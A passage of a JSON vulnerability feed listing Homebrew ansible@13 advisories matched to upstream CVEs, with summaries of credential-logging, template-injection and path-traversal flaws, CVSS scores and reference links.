tegy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible does not collect garbage after playbook run","details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as its garbage collector is not happening after the playbook run is completed. Files would remain in the bucket exposing the data. This issue directly affects data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-25635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/pull/237#issuecomment-1468591094"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-220.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-20178","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-wv5p-gmmv-wh9v","CVE-2021-20178","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20178"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/pull/1635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/1d0c5e2ba47724c31a18d7b08b9daf13df8829dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wv5p-gmmv-wh9v"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-106.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-fh5v-5f35-2rv2","CVE-2021-20180","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20180"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73242"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73243"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.8.19/changelogs/CHANGELOG-v2.8.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.7.18/lib/ansible/modules/source_control"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.8.0a1/lib/ansible/modules/source_control"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-8f4m-hccc-8qph","CVE-2021-20191","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20191"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73488"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73489"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cc82d986c40328d4ae81298a9d287c95a6326bb0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d74a1b1d1325af2a24848044cf2858987f5a3ecc"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2021-20191"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8f4m-hccc-8qph"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-124.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-5rrg-rr89-x9mv","CVE-2021-20228","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Exposes Sensitive Information","details":"A flaw was found in the Ansible Engine prior to 2.10.6rc1, 2.9.18rc1, and 2.8.19rc1, where sensitive info is not masked by default and is not protected by the `no_log` feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20228"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73492"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73493"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73494"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/49ebd509df9de1c1fc1bcee00e79a835dd00662c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e41d1f0a3fd6c466192e7e24accd3d1c6501111b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f8ff395d817c3eddc050f809919c15dfb5796120"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5rrg-rr89-x9mv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-1.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-3447","published":"2026-08-13T16:35:22Z","modified":"2026-08-13T16:35:22Z","upstream":["PYSEC-2021-107","CVE-2021-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-2pfh-q76x-gwvm","CVE-2021-3583","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Input Validation and Command Injection in Ansible","details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/74960"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2pfh-q76x-gwvm"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-358.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-4r65-35qq-ch8j","CVE-2021-3620","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses sensitive information in traceback error message","details":"Ansible is an IT automation system that handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. A flaw was found in Ansible Engine's ansible-connection module where sensitive information, such as the Ansible user credentials, is disclosed by default in the traceback error message when Ansible receives an unexpected response from `set_options`. The highest threat from this vulnerability is confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3620"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3871"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3872"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4703"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4750"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2021-3620"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4r65-35qq-ch8j"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2022-164.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-cpx3-93w7-457x","CVE-2022-3697","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks password to logs","details":"A flaw was found in Ansible in the amazon.aws collection when using the `tower_callback` parameter from the `amazon.aws.ec2_instance` module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"WEB","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/35749"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/main/6/CHANGELOG-v6.rst"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2023-4237","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2023-5764","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-7j69-qfc3-2fq9","CVE-2023-5764","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible template injection vulnerability","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"},{"type":"WEB","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2024-0690","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-h24r-m9qc-pvpg","CVE-2024-0690","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core information disclosure flaw","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the `ANSIBLE_NO_LOG` configuration in some scenarios. It was discovered that information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret 